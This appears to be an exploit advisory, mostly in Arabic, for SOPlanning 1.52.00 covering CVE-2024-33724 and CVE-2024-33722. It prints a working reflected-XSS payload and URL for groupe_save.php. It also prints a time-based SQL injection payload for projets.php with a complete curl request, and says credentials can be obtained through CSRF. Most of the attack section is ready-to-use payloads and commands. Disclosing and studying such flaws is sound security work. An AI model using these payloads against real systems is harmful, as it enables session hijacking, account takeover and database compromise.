
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
عنوان الاستغلال: SOPlanning v1.52.00 'groupe_save.php' XSS (XSS منعكس)
التطبيق: SOPlanning
الإصدار: 1.52.00
التاريخ: 22/04/24
مؤلف الاستغلال: Joseph McPeters (Liquidsky)
الصفحة الرئيسية للمطور: https://www.soplanning.org/en/
رابط البرنامج: https://sourceforge.net/projects/soplanning/
تم الاختبار على: Linux
CVE: CVE-2024-33724
الاستغلال: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
الوصف: SOPlanning v1.52.00 عرضة لهجوم XSS عبر معامل 'groupe_id'، حيث يمكن لمهاجم غير موثّق عن بُعد اختطاف حساب المسؤول أو حسابات المستخدمين الآخرين. يمكن للمهاجم عن بُعد اختطاف جلسة المستخدم أو بيانات الاعتماد والاستيلاء الكامل على المنصة.
مثال على الحمولة: "><!--
رابط XSS المنعكس: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
التحليل: تأخذ الصفحة المقصودة معامل إدخال المستخدم بعين الاعتبار ثم تعيد التوجيه إلى صفحة حيث يظهر XSS، وتقوم الحمولة المضمنة في الاستغلال بالهروب من المتغير الذي يُحتجز فيه وتعلق على الباقي لتنفيذ هجوم XSS منعكس صالح ضد أي مستخدم موثّق بما في ذلك المسؤول.
عنوان الاستغلال: SOPlanning v1.52.00 'projets.php' SQLi
التطبيق: SOPlanning
الإصدار: 1.52.00
التاريخ: 22/04/24
مؤلف الاستغلال: Joseph McPeters (Liquidsky aka fuzzlove)
الصفحة الرئيسية للمطور: https://www.soplanning.org/en/
رابط البرنامج: https://sourceforge.net/projects/soplanning/
تم الاختبار على: Linux
CVE: CVE-2024-33722
الاستغلال: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
الوصف: SOPlanning v1.52.00 عرضة لحقن SQL موثّق عبر صفحة 'projects.php'.
التعليمات: قم بالمصادقة على المضيف، يمكن الحصول على بيانات الاعتماد باستخدام استغلال CSRF (مزيد من المعلومات مُضمنة). بمجرد الحصول على بيانات اعتماد صالحة، استخدم طلب GET/POST لإرسال المعاملات الصالحة التي تؤدي إلى SQLi صالح.
معاملات الطلب المعرضة للخطر للطلب إلى "/www/projets.php":
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
يمكن إرسال المعاملات أعلاه كطلب GET/POST صالح لتشغيل SQLi. مثال على طلب Curl لإعادة اختبار SQLi:
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
ملاحظة: يجب أن تكون ملفات تعريف الارتباط (cookies) موثّقة ويجب أن يكون الطلب صالحًا لـ SQLi صالح. يمكن استخدام طلب curl هذا مع وكيل (proxy) لإعادة بناء طلب صالح.